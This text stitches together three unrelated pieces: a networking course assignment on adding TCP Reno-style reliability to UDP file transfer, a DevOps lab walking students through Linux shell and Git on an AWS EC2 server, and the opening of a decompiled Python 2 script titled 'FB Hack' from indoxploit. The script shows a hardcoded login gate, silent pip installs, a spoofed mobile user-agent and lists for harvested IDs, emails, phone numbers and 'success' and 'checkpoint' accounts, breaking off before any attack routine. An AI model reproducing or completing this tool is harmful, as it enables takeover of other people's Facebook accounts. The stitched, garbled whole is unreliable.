positive” when it tests as to whether the server node is local or not. In other words, the client will deem the server node to be local, whereas in fact it should not be considered local. Because of this, it is perhaps best simply not to use compserv3 to run the client (but it is o.k. to use it to run the server). Finally, using MSG_DONTROUTE where possible would seem to gain us efficiency, in as much as the kernel does not need to consult the routing table for every datagram sent. But, in fact, that is not so. Recall that one effect of connect with UDP sockets is that routing information is obtained by the kernel at the time the connect is issued. That information is cached and used for subsequent sends from the connected socket (see p.255). The client now creates a UDP socket and calls bind on IPclient, with 0 as the port number. This will cause the kernel to bind an ephemeral port to the socket. After the bind, use the getsockname function (Section 4.10) to obtain IPclient and the ephemeral port number that has been assigned to the socket, and print that information out on stdout, with an appropriate message and appropriately formatted. The client connects its socket to IPserver and the well-known port number of the server. After the connect, use the getpeername function (Section 4.10) to obtain IPserver and the well-known port number of the server, and print that information out on stdout, with an appropriate message and appropriately formatted. The client sends a datagram to the server giving the filename for the transfer. This send needs to be backed up by a timeout in case the datagram is lost. Note that the incoming datagram from the client will be delivered to the server at the socket to which the destination IP address that the datagram is carrying has been bound. Thus, the server can obtain that address (it is, of course, IPserver) and thereby achieve what IP_RECVDESTADDR would have given us had it been available. Furthermore, the server process can obtain the IP address (this will, of course, be IPclient) and ephemeral port number of the client through the recvfrom or recvmsg functions. The server forks off a child process to handle the client. The server parent process goes back to the select to listen for new clients. Hereafter, and unless otherwise stated, whenever we refer to the ‘server’, we mean the server child process handling the client’s file transfer, not the server parent process. Typically, the first thing the server child would be expected to do is to close all sockets it ‘inherits’ from its parent. However, this is not the case with us. The server child does indeed close the sockets it inherited, but not the socket on which the client request arrived. It leaves that socket open for now. Call this socket the ‘listening’ socket. The server (child) then checks if the client host is local to its (extended) Ethernet. If so, all its communication to the client is to occur as MSG_DONTROUTE (or SO_DONTROUTE socket option). If IPserver (obtained in 5. above) is the loopback address, then we are done. Otherwise, the server has to proceed with the following step. Use the array of structures you built in 1. above, together with the addresses IPserver and IPclient to determine if the client is ‘local’. Print out on stdout the results of your examination, as to whether the client host is ‘local’ or not. The server (child) creates a UDP socket to handle file transfer to the client. Call this socket the ‘connection’ socket. It binds the socket to IPserver, with port number 0 so that its kernel assigns an ephemeral port. After the bind, use the getsockname function (Section 4.10) to obtain IPserver and the ephemeral port number that has been assigned to the socket, and print that information out on stdout, with an appropriate message and appropriately formatted. The server then connects this ‘connection’ socket to the client’s IPclient and ephemeral port number. The server now sends the client a datagram, in which it passes it the ephemeral port number of its ‘connection’ socket as the data payload of the datagram. This datagram is sent using the ‘listening’ socket inherited from its parent, otherwise the client (whose socket is connected to the server’s ‘listening’ socket at the latter’s well-known port number) will reject it. This datagram must be backed up by the ARQ mechanism, and retransmitted in the event of loss. Note that if this datagram is indeed lost, the client might well time out and retransmit its original request message (the one carrying the file name). In this event, you must somehow ensure that the parent server does not mistake this retransmitted request for a new client coming in, and spawn off yet another child to handle it. How do you do that? It is potentially more involved than it might seem. I will be discussing this in class, as well as ‘race’ conditions that could potentially arise, depending on how you code the mechanisms I present. When the client receives the datagram carrying the ephemeral port number of the server’s ‘connection’ socket, it reconnects its socket to the server’s ‘connection’ socket, using IPserver and the ephemeral port number received in the datagram (see p.254). It now uses this reconnected socket to send the server an acknowledgment. Note that this implies that, in the event of the server timing out, it should retransmit two copies of its ‘ephemeral port number’ message, one on its ‘listening’ socket and the other on its ‘connection’ socket (why?). When the server receives the acknowledgment, it closes the ‘listening’ socket it inherited from its parent. The server can now commence the file transfer through its ‘connection’ socket. The net effect of all these binds and connects at server and client is that no ‘outsider’ UDP datagram (broadcast, multicast, unicast - fortuitously or maliciously) can now intrude on the communication between server and client. Starting with the first datagram sent out, the client behaves as follows. Whenever a datagram arrives, or an ACK is about to be sent out (or, indeed, the initial datagram to the server giving the filename for the transfer), the client uses some random number generator function random() (initialized by the client.in argument value seed) to decide with probability p (another client.in argument value) if the datagram or ACK should be discarded by way of simulating transmission loss across the network. (I will briefly discuss in class how you do this.) Adding reliability to UDP The mechanisms you are to implement are based on TCP Reno. These include : Reliable data transmission using ARQ sliding-windows, with Fast Retransmit. Flow control via receiver window advertisements. Congestion control that implements : SlowStart Congestion Avoidance (‘Additive-Increase/Multiplicative Decrease’ – AIMD) Fast Recovery (but without the window-inflation aspect of Fast Recovery) Only some, and by no means all, of the details for these are covered below. The rest will be presented in class, especially those concerning flow control and TCP Reno’s congestion control mechanisms in general : Slow Start, Congestion Avoidance, Fast Retransmit and Fast Recovery. Implement a timeout mechanism on the sender (server) side. This is available to you from Stevens, Section 22.5 . Note, however, that you will need to modify the basic driving mechanism of Figure 22.7 appropriately since the situation at the sender side is not a repetitive cycle of send-receive, but rather a straightforward progression of send-send-send-send- . . . . . . . . . . . Also, modify the RTT and RTO mechanisms of Section 22.5 as specified below. I will be discussing the details of these modifications and the reasons for them in class. Modify function rtt_stop (Fig. 22.13) so that it uses integer arithmetic rather than floating point. This will entail your also having to modify some of the variable and function parameter declarations throughout Section 22.5 from float to int, as appropriate. In the unprrt.h header file (Fig. 22.10) set : RTT_RXTMIN to 1000 msec. (1 sec. instead of the current value 3 sec.) RTT_RXTMAX to 3000 msec. (3 sec. instead of the current value 60 sec.) RTT_MAXNREXMT to 12 (instead of the current value 3) In function rtt_timeout (Fig. 22.14), after doubling the RTO in line 86, pass its value through the function rtt_minmax of Fig. 22.11 (somewhat along the lines of what is done in line 77 of rtt_stop, Fig. 22.13). Finally, note that with the modification to integer calculation of the smoothed RTT and its variation, and given the small RTT values you will experience on the cs / sbpub network, these calculations should probably now be done on a millisecond or even microsecond scale (rather than in seconds, as is the case with Stevens’ code). Otherwise, small measured RTTs could show up as 0 on a scale of seconds, yielding a negative result when we subtract the smoothed RTT from the measured RTT (line 72 of rtt_stop, Fig. 22.13). Report the details of your modifications to the code of Section 22.5 in the ReadMe file which you hand in with your code. We need to have a sender sliding window mechanism for the retransmission of lost datagrams; and a receiver sliding window in order to ensure correct sequencing of received file contents, and some measure of flow control. You should implement something based on TCP Reno’s mechanisms, with cumulative acknowledgments, receiver window advertisements, and a congestion control mechanism I will explain in detail in class. For a reference on TCP’s mechanisms generally, see W. Richard Stevens, TCP/IP Illustrated, Volume 1 , especially Sections 20.2 - 20.4 of Chapter 20 , and Sections 21.1 - 21.8 of Chapter 21 . Bear in mind that our sequence numbers should count datagrams, not bytes as in TCP. Remember that the sender and receiver window sizes have to be set according to the argument values in client.in and server.in, respectively. Whenever the sender window becomes full and so ‘locks’, the server should print out a message to that effect on stdout. Similarly, whenever the receiver window ‘locks’, the client should print out a message on stdout. Be aware of the potential for deadlock when the receiver window ‘locks’. This situation is handled by having the receiver process send a duplicate ACK which acts as a window update when its window opens again (see Figure 20.3 and the discussion about it in TCP/IP Illustrated). However, this is not enough, because ACKs are not backed up by a timeout mechanism in the event they are lost. So we will also need to implement a persist timer driving window probes in the sender process (see Sections 22.1 & 22.2 in Chapter 22 of TCP/IP Illustrated). Note that you do not have to worry about the Silly Window Syndrome discussed in Section 22.3 of TCP/IP Illustrated since the receiver process consumes ‘full sized’ 512-byte messages from the receiver buffer (see 3. below). Report on the details of the ARQ mechanism you implemented in the ReadMe file you hand in. Indeed, you should report on all the TCP mechanisms you implemented in the ReadMe file, both the ones discussed here, and the ones I will be discussing in class. Make your datagram payload a fixed 512 bytes, inclusive of the file transfer protocol header (which must, at the very least, carry: the sequence number of the datagram; ACKs; and advertised window notifications). The client reads the file contents in its receive buffer and prints them out on stdout using a separate thread. This thread sits in a repetitive loop till all the file contents have been printed out, doing the following. It samples from an exponential distribution with mean µ milliseconds (read from the client.in file), sleeps for that number of milliseconds; wakes up to read and print all in-order file contents available in the receive buffer at that point; samples again from the exponential distribution; sleeps; and so on. The formula -1 × µ × ln( random( ) ) , where ln is the natural logarithm, yields variates from an exponential distribution with mean µ, based on the uniformly-distributed variates over ( 0 , 1 ) returned by random(). Note that you will need to implement some sort of mutual exclusion/semaphore mechanism on the client side so that the thread that sleeps and wakes up to consume from the receive buffer is not updating the state variables of the buffer at the same time as the main thread reading from the socket and depositing into the buffer is doing the same. Furthermore, we need to ensure that the main thread does not effectively monopolize the semaphore (and thus lock out for prolonged periods of time) the sleeping thread when the latter wakes up. See the textbook, Section 26.7, ‘Mutexes: Mutual Exclusion’, pp.697-701. You might also find Section 26.8, ‘Condition Variables’, pp.701-705, useful. You will need to devise some way by which the sender can notify the receiver when it has sent the last datagram of the file transfer, without the receiver mistaking that EOF marker as part of the file contents. (Also, note that the last data segment could be a “short” segment of less than 512 bytes – your client needs to be able to handle this correctly somehow.) When the sender receives an ACK for the last datagram of the transfer, the (child) server terminates. The parent server has to take care of cleaning up zombie children. Note that if we want a clean closing, the client process cannot simply terminate when the receiver ACKs the last datagram. This ACK could be lost, which would leave the (child) server process ‘hanging’, timing out, and retransmitting the last datagram. TCP attempts to deal with this problem by means of the TIME_WAIT state. You should have your receiver process behave similarly, sticking around in something akin to a TIME_WAIT state in case in case it needs to retransmit the ACK. In the ReadMe file you hand in, report on how you dealt with the issues raised here: sender notifying receiver of the last datagram, clean closing, and so on. Output Some of the output required from your program has been described in the section Operation above. I expect you to provide further output – clear, well-structured, well-laid-out, concise but sufficient and helpful – in the client and server windows by means of which we can trace the correct evolution of your TCP’s behaviour in all its intricacies : information (e.g., sequence number) on datagrams and acks sent and dropped, window advertisements, datagram retransmissions (and why : dup acks or RTO); entering/exiting Slow Start and Congestion Avoidance, ssthresh and cwnd values; sender and receiver windows locking/unlocking; etc., etc. . . . . The onus is on you to convince us that the TCP mechanisms you implemented are working correctly. Too many students do not put sufficient thought, creative imagination, time or effort into this. It is not the TA’s nor my responsibility to sit staring at an essentially blank screen, trying to summon up our paranormal psychology skills to figure out if your TCP implementation is really working correctly in all its very intricate aspects, simply because the transferred file seems to be printing o.k. in the client window. Nor is it our responsibility to strain our eyes and our patience wading through a mountain of obscure, ill-structured, hyper-messy, debugging-style output because, for example, your effort-conserving concept of what is ‘suitable’ is to dump your debugging output on us, relevant, irrelevant, and everything in between.
nyaundid / EC2 AWS AND SHELLSEIS 665 Assignment 2: Linux & Git Overview This week we will focus on becoming familiar with launching a Linux server and working with some basic Linux and Git commands. We will use AWS to launch and host the Linux server. AWS might seem a little confusing at this point. Don’t worry, we will gain much more hands-on experience with AWS throughout the course. The goal is to get you comfortable working with the technology and not overwhelm you with all the details. Requirements You need to have a personal AWS account and GitHub account for this assignment. You should also read the Git Hands-on Guide and Linux Hands-on Guide before beginning this exercise. A word about grading One of the key DevOps practices we learn about in this class is the use of automation to increase the speed and repeatability of processes. Automation is utilized during the assignment grading process to review and assess your work. It’s important that you follow the instructions in each assignment and type in required files and resources with the proper names. All names are case sensitive, so a name like "Web1" is not the same as "web1". If you misspell a name, use the wrong case, or put a file in the wrong directory location you will lose points on your assignment. This is the easiest way to lose points, and also the most preventable. You should always double-check your work to make sure it accurately reflects the requirements specified in the assignment. You should always carefully review the content of your files before submitting your assignment. The assignment Let’s get started! Create GitHub repository The first step in the assignment is to setup a Git repository on GitHub. We will use a special solution called GitHub Classroom for this course which automates the process of setting up student assignment repositories. Here are the basic steps: Click on the following link to open Assignment 2 on the GitHub Classroom site: https://classroom.github.com/a/K4zcVmX- (Links to an external site.)Links to an external site. Click on the Accept this assignment button. GitHub Classroom will provide you with a URL (https) to access the assignment repository. Either copy this address to your clipboard or write it down somewhere. You will need to use this address to set up the repository on a Linux server. Example: https://github.com/UST-SEIS665/hw2-seis665-02-spring2019-<your github id>.git At this point your new repository to ready to use. The repository is currently empty. We will put some content in there soon! Launch Linux server The second step in the assignment is to launch a Linux server using AWS EC2. The server should have the following characteristics: Amazon Linux 2 AMI 64-bit (usually the first option listed) Located in a U.S. region (us-east-1) t2.micro instance type All default instance settings (storage, vpm, security group, etc.) I’ve shown you how to launch EC2 instances in class. You can review it on Canvas. Once you launch the new server, it may take a few minutes to provision. Log into server The next step is to log into the Linux server using a terminal program with a secure shell (SSH) support. You can use iTerm2 (Links to an external site.)Links to an external site. on a Mac and GitBash/PuTTY (Links to an external site.)Links to an external site. on a PC. You will need to have the private server key and the public IP address before attempting to log into the server. The server key is basically your password. If you lose it, you will need to terminate the existing instance and launch a new server. I recommend reusing the same key when launching new servers throughout the class. Note, I make this recommendation to make the learning process easier and not because it is a common security practice. I’ve shown you how to use a terminal application to log into the instance using a Windows desktop. Your personal computer or lab computer may be running a different OS version, but the process is still very similar. You can review the videos on the Canvas. Working with Linux If you’ve made it this far, congratulations! You’ve made it over the toughest hurdle. By the end of this course, I promise you will be able to launch and log into servers in your sleep. You should be looking at a login screen that looks something like this: Last login: Mon Mar 21 21:17:54 2016 from 174-20-199-194.mpls.qwest.net __| __|_ ) _| ( / Amazon Linux AMI ___|\___|___| https://aws.amazon.com/amazon-linux-ami/2015.09-release-notes/ 8 package(s) needed for security, out of 17 available Run "sudo yum update" to apply all updates. ec2-user@ip-172-31-15-26 ~]$ Your terminal cursor is sitting at the shell prompt, waiting for you to type in your first command. Remember the shell? It is a really cool program that lets you start other programs and manage services on the Linux system. The rest of this assignment will be spent working with the shell. Note, when you are asked to type in a command in the steps below, don’t type in the dollar-sign ($) character. This is just meant to represent the command prompt. The actual commands are represented by the characters to the right of the command prompt. Let’s start by asking the shell for some help. Type in: $ help The shell provides you with a list of commands you can run along with possible command options. Next, check out one of the pages in the built-in manual: $ man ls A man page will appear with information on how to use the ls command. This command is used to list the contents of file directories. Either space through the contents of the man page or hit q to exit. Most of the core Linux commands have man pages available. But honestly, some of these man pages are a bit hard to understand. Sometimes your best bet is to search on Google if you are trying to figure out how to use a specific command. When you initially log into Linux, the system places you in your home directory. Each user on the system has a separate home directory. Let’s see where your home directory is located: $ pwd The response should be /home/ec2-user. The pwd command is handy to remember if you ever forget what file directory you are currently located in. If you recall from the Linux Hands-on Guide, this directory is also your current working directory. Type in: $ cd / The cd command let’s you change to a new working directory on the server. In this case, we changed to the root (/) directory. This is the parent of all the other directories on the file system. Type in: $ ls The ls command lists the contents of the current directory. As you can see, root directory contains many other directories. You will become familiar with these directories over time. The ls command provides a very basic directory listing. You need to supply the command with some options if you want to see more detailed information. Type in: $ ls -la See how this command provides you with much more detailed information about the files and directories? You can use this detailed listing to see the owner, group, and access control list settings for each file or directory. Do you see any files listed? Remember, the first character in the access control list column denotes whether a listed item is a file or a directory. You probably see a couple files with names like .autofsck. How come you didn’t see this file when you typed in the lscommand without any options? (Try to run this command again to convince yourself.) Files names that start with a period are called hidden files. These files won’t appear on normal directory listings. Type in: $ cd /var Then, type in: $ ls You will see a directory listing for the /var directory. Next, type in: $ ls .. Huh. This directory listing looks the same as the earlier root directory listing. When you use two periods (..) in a directory path that means you are referring to the parent directory of the current directory. Just think of the two dots as meaning the directory above the current directory. Now, type in: $ cd ~ $ pwd Whoa. We’re back at our home directory again. The tilde character (~) is another one of those handy little directory path shortcuts. It always refers to our personal home directory. Keep in mind that since every user has their own home directory, the tilde shortcut will refer to a unique directory for each logged-in user. Most students are used to navigating a file system by clicking a mouse in nested graphical folders. When they start using a command-line to navigate a file system, they sometimes get confused and lose track of their current position in the file system. Remember, you can always use the pwd command to quickly figure out what directory you are currently working in. Let’s make some changes to the file system. We can easily make our own directories on the file system. Type: mkdir test Now type: ls Cool, there’s our new test directory. Let’s pretend we don’t like that directory name and delete it. Type: rmdir test Now it’s gone. How can you be sure? You should know how to check to see if the directory still exists at this point. Go ahead and check. Let’s create another directory. Type in: $ mkdir documents Next, change to the new directory: $ cd documents Did you notice that your command prompt displays the name of the current directory? Something like: [ec2-user@ip-172-31-15-26 documents]$. Pretty handy, huh? Okay, let’s create our first file in the documents directory. This is just an empty file for training purposes. Type in: $ touch paper.txt Check to see that the new file is in the directory. Now, go back to the previous directory. Remember the double dot shortcut? $ cd .. Okay, we don’t like our documents directory any more. Let’s blow it away. Type in: $ rmdir documents Uh oh. The shell didn’t like that command because the directory isn’t empty. Let’s change back into the documents directory. But this time don’t type in the full name of the directory. You can let shell auto-completion do the typing for you. Type in the first couple characters of the directory name and then hit the tab key: $ cd doc<tab> You should use the tab auto-completion feature often. It saves typing and makes working with the Linux file system much much easier. Tab is your friend. Now, remove the file by typing: $ rm paper.txt Did you try to use the tab key instead of typing in the whole file name? Check to make sure the file was deleted from the directory. Next, create a new file: $ touch file1 We like file1 so much that we want to make a backup copy. Type: $ cp file1 file1-backup Check to make sure the new backup copy was created. We don’t really like the name of that new file, so let’s rename it. Type: $ mv file1-backup backup Moving a file to the same directory and giving it a new name is basically the same thing as renaming it. We could have moved it to a different directory if we wanted. Let’s list all of the files in the current directory that start with the letter f: $ ls f* Using wildcard pattern matching in file commands is really useful if you want the command to impact or filter a group of files. Now, go up one directory to the parent directory (remember the double dot shortcut?) We tried to remove the documents directory earlier when it had files in it. Obviously that won’t work again. However, we can use a more powerful command to destroy the directory and vanquish its contents. Behold, the all powerful remove command: $ rm -fr documents Did you remember to use auto-completion when typing in documents? This command and set of options forcibly removes the directory and its contents. It’s a dangerous command wielded by the mightiest Linux wizards. Okay, maybe that’s a bit of an exaggeration. Just be careful with it. Check to make sure the documents directory is gone before proceeding. Let’s continue. Change to the directory /var and make a directory called test. Ugh. Permission denied. We created this darn Linux server and we paid for it. Shouldn’t we be able to do anything we want on it? You logged into the system as a user called ec2-user. While this user can create and manage files in its home directory, it cannot change files all across the system. At least it can’t as a normal user. The ec2-user is a member of the root group, so it can escalate its privileges to super-user status when necessary. Let’s try it: $ sudo mkdir test Check to make sure the directory exists now. Using sudo we can execute commands as a super-user. We can do anything we want now that we know this powerful new command. Go ahead and delete the test directory. Did you remember to use sudo before the rmdir command? Check to make sure the directory is gone. You might be asking yourself the question: why can we list the contents of the /var directory but not make changes? That’s because all users have read access to the /var directory and the ls command is a read function. Only the root users or those acting as a super-user can write changes to the directory. Let’s go back to our home directory: $ cd ~ Editing text files is a really common task on Linux systems because many of the application configuration files are text files. We can create a text file by using a text editor. Type in: $ nano myfile.conf The shell starts up the nano text editor and places your terminal cursor in the editing screen. Nano is a simple text-based word processor. Type in a few lines of text. When you’re done writing your novel, hit ctrl-x and answer y to the prompt to save your work. Finally, hit enter to save the text to the filename you specified. Check to see that your file was saved in the directory. You can take a look at the contents of your file by typing: $ cat myfile.conf The cat command displays your text file content on the terminal screen. This command works fine for displaying small text files. But if your file is hundreds of lines long, the content will scroll down your terminal screen so fast that you won’t be able to easily read it. There’s a better way to view larger text files. Type in: $ less myfile.conf The less command will page the display of a text file, allowing you to page through the contents of the file using the space bar. Your text file is probably too short to see the paging in action though. Hit q to quit out of the less text viewer. Hit the up-arrow key on your keyboard a few times until the commmand nano myfile.conf appears next to your command prompt. Cool, huh? The up-arrow key allows you to replay a previously run command. Linux maintains a list of all the commands you have run since you logged into the server. This is called the command history. It’s a really useful feature if you have to re-run a complex command again. Now, hit ctrl-c. This cancels whatever command is displayed on the command line. Type in the following command to create a couple empty files in the directory: $ touch file1 file2 file3 Confirm that the files were created. Some commands, like touch. allow you to specify multiple files as arguments. You will find that Linux commands have all kinds of ways to make tasks more efficient like this. Throughout this assignment, we have been running commands and viewing results on the terminal screen. The screen is the standard place for commands to output results. It’s known as the standard out (stdout). However, it’s really useful to output results to the file system sometimes. Type in: $ ls > listing.txt Take a look at the directory listing now. You just created a new file. View the contents of the listing.txt file. What do you see? Instead of sending the output from the ls command to the screen we sent it to a text file. Let’s try another one. Type: $ cat myfile.conf > listing.txt Take a look at the contents of the listing.txt file again. It looks like your myfile.conf file now. It’s like you made a copy of it. But what happened to the previous content in the listing.txt file? When you redirect the output of a command using the right angle-bracket character (>), the output overwrites the existing file. Type this command in: $ cat myfile.conf >> listing.txt Now look at the contents of the listing.txt file. You should see your original content displayed twice. When you use two angle-bracket characters in the commmand the output appends (or adds to) the file instead of overwriting it. We redirected the output from a command to a text file. It’s also possible to redirect the input to a command. Typically we use a keyboard to provide input, but sometimes it makes more sense to input a file to a command. For example, how many words are in your new listing.txt file? Let’s find out. Type in: $ wc -w < listing.txt Did you get a number? This command inputs the listing.txt file into a word count program called wc. Type in the command: $ ls /usr/bin The terminal screen probably scrolled quickly as filenames flashed by. The /usr/bin directory holds quite a few files. It would be nice if we could page through the contents of this directory. Well, we can. We can use a special shell feature called pipes. In previous steps, we redirected I/O using the file system. Pipes allow us to redirect I/O between programs. We can redirect the output from one program into another. Type in: $ ls /usr/bin | less Now the directory listing is paged. Hit the spacebar to page through the listing. The pipe, represented by a vertical bar character (|), takes the output from the ls command and redirects it to the less command where the resulting output is paged. Pipes are super powerful and used all the time by savvy Linux operators. Hit the q key to quit the paginated directory listing command. Working with shell scripts Now things are going to get interesting. We’ve been manually typing in commands throughout this exercise. If we were running a set of repetitive tasks, we would want to automate the process as much as possible. The shell makes it really easy to automate tasks using shell scripts. The shell provides many of the same features as a basic procedural programming language. Let’s write some code. Type in this command: $ j=123 $ echo $j We just created a variable named j referencing the string 123. The echo command printed out the value of the variable. We had to use a dollar sign ($) when referencing the variable in another command. Next, type in: $ j=1+1 $ echo $j Is that what you expected? The shell just interprets the variable value as a string. It’s not going to do any sort of computation. Typing in shell script commands on the command line is sort of pointless. We want to be able to create scripts that we can run over-and-over. Let’s create our first shell script. Use the nano editor to create a file named myscript. When the file is open in the editor, type in the following lines of code: #!/bin/bash echo Hello $1 Now quit the editor and save your file. We can run our script by typing: $ ./myscript World Er, what happened? Permission denied. Didn’t we create this file? Why can’t we run it? We can’t run the script file because we haven’t set the execute permission on the file. Type in: $ chmod u+x myscript This modifies the file access control list to allow the owner of the file to execute it. Let’s try to run the command again. Hit the up-arrow key a couple times until the ./myscript World command is displayed and hit enter. Hooray! Our first shell script. It’s probably a bit underwhelming. No problem, we’ll make it a little more complex. The script took a single argument called World. Any arguments provided to a shell script are represented as consecutively numbered variables inside the script ($1, $2, etc). Pretty simple. You might be wondering why we had to type the ./ characters before the name of our script file. Try to type in the command without them: $ myscript World Command not found. That seems a little weird. Aren’t we currently in the directory where the shell script is located? Well, that’s just not how the shell works. When you enter a command into the shell, it looks for the command in a predefined set of directories on the server called your PATH. Since your script file isn’t in your special path, the shell reports it as not found. By typing in the ./ characters before the command name you are basically forcing the shell to look for your script in the current directory instead of the default path. Create another file called cleanup using nano. In the file editor window type: #!/bin/bash # My cleanup script mkdir archive mv file* archive Exit the editor window and save the file. Change the permissions on the script file so that you can execute it. Now run the command: $ ./cleanup Take a look at the file directory listing. Notice the archive directory? List the contents of that directory. The script automatically created a new directory and moved three files into it. Anything you can do manually at a command prompt can be automated using a shell script. Let’s create one more shell script. Use nano to create a script called namelist. Here is the content of the script: #!/bin/bash # for-loop test script names='Jason John Jane' for i in $names do echo Hello $i done Change the permissions on the script file so that you can execute it. Run the command: $ ./namelist The script will loop through a set of names stored in a variable displaying each one. Scripts support several programming constructs like for-loops, do-while loops, and if-then-else. These building blocks allow you to create fairly complex scripts for automating tasks. Installing packages and services We’re nearing the end of this assignment. But before we finish, let’s install some new software packages on our server. The first thing we should do is make sure all the current packages installed on our Linux server are up-to-date. Type in: $ sudo yum update -y This is one of those really powerful commands that requires sudo access. The system will review the currently installed packages and go out to the Internet and download appropriate updates. Next, let’s install an Apache web server on our system. Type in: $ sudo yum install httpd -y Bam! You probably never knew that installing a web server was so easy. We’re not going to actually use the web server in this exercise, but we will in future assignments. We installed the web server, but is it actually running? Let’s check. Type in: $ sudo service httpd status Nope. Let’s start it. Type: $ sudo service httpd start We can use the service command to control the services running on the system. Let’s setup the service so that it automatically starts when the system boots up. Type in: $ sudo chkconfig httpd on Cool. We installed the Apache web server on our system, but what other programs are currently running? We can use the pscommand to find out. Type in: $ ps -ax Lots of processes are running on our system. We can even look at the overall performance of our system using the topcommand. Let’s try that now. Type in: $ top The display might seem a little overwhelming at first. You should see lots of performance information displayed including the cpu usage, free memory, and a list of running tasks. We’re almost across the finish line. Let’s make sure all of our valuable work is stored in a git repository. First, we need to install git. Type in the command: $ sudo yum install git -y Check your work It’s very important to check your work before submitting it for grading. A misspelled, misplaced or missing file will cost you points. This may seem harsh, but the reality is that these sorts of mistakes have consequences in the real world. For example, a server instance could fail to launch properly and impact customers because a single required file is missing. Here is what the contents of your git repository should look like before final submission: ┣archive ┃ ┣ file1 ┃ ┣ file2 ┃ ┗ file3 ┣ namelist ┗ myfile.conf Saving our work in the git repository Next, make sure you are still in your home directory (/home/ec2-user). We will install the git repository you created at the beginning of this exercise. You will need to modify this command by typing in the GitHub repository URL you copied earlier. $ git clone <your GitHub URL here>.git Example: git clone https://github.com/UST-SEIS665/hw2-seis665-02-spring2019-<your github id>.git The git application will ask you for your GitHub username and password. Note, if you have multi-factor authentication enabled on your GitHub account you will need to provide a personal token instead of your password. Git will clone (copy) the repository from GitHub to your Linux server. Since the repository is empty the clone happens almost instantly. Check to make sure that a sub-directory called "hw2-seis665-02-spring2019-<username>" exists in the current directory (where <username> is your GitHub account name). Git automatically created this directory as part of the cloning process. Change to the hw2-seis665-02-spring2019-<username> directory and type: $ ls -la Notice the .git hidden directory? This is where git actually stores all of the file changes in your repository. Nothing is actually in your repository yet. Change back to the parent directory (cd ..). Next, let’s move some of our files into the repository. Type: $ mv archive hw2-seis665-02-spring2019-<username> $ mv namelist hw2-seis665-02-spring2019-<username> $ mv myfile.conf hw2-seis665-02-spring2019-<username> Hopefully, you remembered to use the auto-complete function to reduce some of that typing. Change to the hw2-seis665-02-spring2019-<username> directory and list the directory contents. Your files are in the working directory, but are not actually stored in the repository because they haven’t been committed yet. Type in: $ git status You should see a list of untracked files. Let’s tell git that we want these files tracked. Type in: $ git add * Now type in the git status command again. Notice how all the files are now being tracked and are ready to be committed. These files are in the git staging area. We’ll commit them to the repository next. Type: $ git commit -m 'assignment 2 files' Next, take a look at the commit log. Type: $ git log You should see your commit listed along with an assigned hash (long string of random-looking characters). Finally, let’s save the repository to our GitHub account. Type in: $ git push origin master The git client will ask you for your GitHub username and password before pushing the repository. Go back to the GitHub.com website and login if you have been logged out. Click on the repository link for the assignment. Do you see your files listed there? Congratulations, you completed the exercise! Terminate server The last step is to terminate your Linux instance. AWS will bill you for every hour the instance is running. The cost is nominal, but there’s no need to rack up unnecessary charges. Here are the steps to terminate your instance: Log into your AWS account and click on the EC2 dashboard. Click the Instances menu item. Select your server in the instances table. Click on the Actions drop down menu above the instances table. Select the Instance State menu option Click on the Terminate action. Your Linux instance will shutdown and disappear in a few minutes. The EC2 dashboard will continue to display the instance on your instance listing for another day or so. However, the state of the instance will be terminated. Submitting your assignment — IMPORTANT! If you haven’t already, please e-mail me your GitHub username in order to receive credit for this assignment. There is no need to email me to tell me that you have committed your work to GitHub or to ask me if your GitHub submission worked. If you can see your work in your GitHub repository, I can see your work.
Myhadi / FB Hack#decompiled by PDM31 import os, sys print '\x1b[1;32mSudah punya ID dan Password nya?' print '\x1b[1;32mSilahkan Login ' import os, sys def wa(): os.system('xdg-open https://api.whatsapp.com/send?phone=6281291977644&text=Assalamualaikum') def restart(): ngulang = sys.executable os.execl(ngulang, ngulang, *sys.argv) user = raw_input('ID: ') import getpass sandi = raw_input('Password: ') if sandi == 'indoxploit' and user == 'Borot': print 'Anda Telah Login' sys.exit else: print 'Login GAGAL, Silahkan hubungi ADMIN' wa() restart() import os, sys, time, datetime, random, hashlib, re, threading, json, getpass, urllib from multiprocessing.pool import ThreadPool try: import mechanize except ImportError: os.system('pip2 install mechanize') else: try: import requests except ImportError: os.system('pip2 install requests') from requests.exceptions import ConnectionError from mechanize import Browser reload(sys) sys.setdefaultencoding('utf8') br = mechanize.Browser() br.set_handle_robots(False) br.set_handle_refresh(mechanize._http.HTTPRefreshProcessor(), max_time=1) br.addheaders = [('User-Agent', 'Opera/9.80 (Android; Opera Mini/32.0.2254/85. U; id) Presto/2.12.423 Version/12.16')] def keluar(): print '\x1b[1;91m[!] Keluar' os.sys.exit() def jalan(z): for e in z + '\n': sys.stdout.write(e) sys.stdout.flush() time.sleep(0.1) logo = '\x1b[1;92m\n\xe2\x95\x94\xe2\x95\xa6\xe2\x95\x97\xe2\x94\x8c\xe2\x94\x80\xe2\x94\x90\xe2\x94\xac\xe2\x94\x80\xe2\x94\x90\xe2\x94\xac\xe2\x94\x8c\xe2\x94\x80 \xe2\x95\x94\xe2\x95\x90\xe2\x95\x97\xe2\x95\x94\xe2\x95\x97 \n \xe2\x95\x91\xe2\x95\x91\xe2\x94\x9c\xe2\x94\x80\xe2\x94\xa4\xe2\x94\x9c\xe2\x94\xac\xe2\x94\x98\xe2\x94\x9c\xe2\x94\xb4\xe2\x94\x90\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80\xe2\x95\xa0\xe2\x95\xa3 \xe2\x95\xa0\xe2\x95\xa9\xe2\x95\x97\n\xe2\x95\x90\xe2\x95\xa9\xe2\x95\x9d\xe2\x94\xb4 \xe2\x94\xb4\xe2\x94\xb4\xe2\x94\x94\xe2\x94\x80\xe2\x94\xb4 \xe2\x94\xb4 \xe2\x95\x9a \xe2\x95\x9a\xe2\x95\x90\xe2\x95\x9d \x1b[1;93mv1.7\n\x1b[1;93m* \x1b[1;97mAuthor \x1b[1;91m: \x1b[1;96mMr. Borot\x1b[1;97m\n\x1b[1;93m* \x1b[1;97mSupport \x1b[1;91m: \x1b[1;96mKunjungi\x1b[1;97m \x1b[1;96mwebsite \x1b[1;96mKami\n\x1b[1;93m* \x1b[1;97mwebsite \x1b[1;91m: \x1b[1;92m\x1b[4mhttp://indoxploit.id/\x1b[0m\n' def tik(): titik = [ '. ', '.. ', '... '] for o in titik: print '\r\x1b[1;91m[\xe2\x97\x8f] \x1b[1;92mSedang Masuk \x1b[1;97m' + o, sys.stdout.flush() time.sleep(1) back = 0 threads = [] berhasil = [] cekpoint = [] gagal = [] idteman = [] idfromteman = [] idmem = [] id = [] em = [] emfromteman = [] hp = [] hpfromteman = [] reaksi = 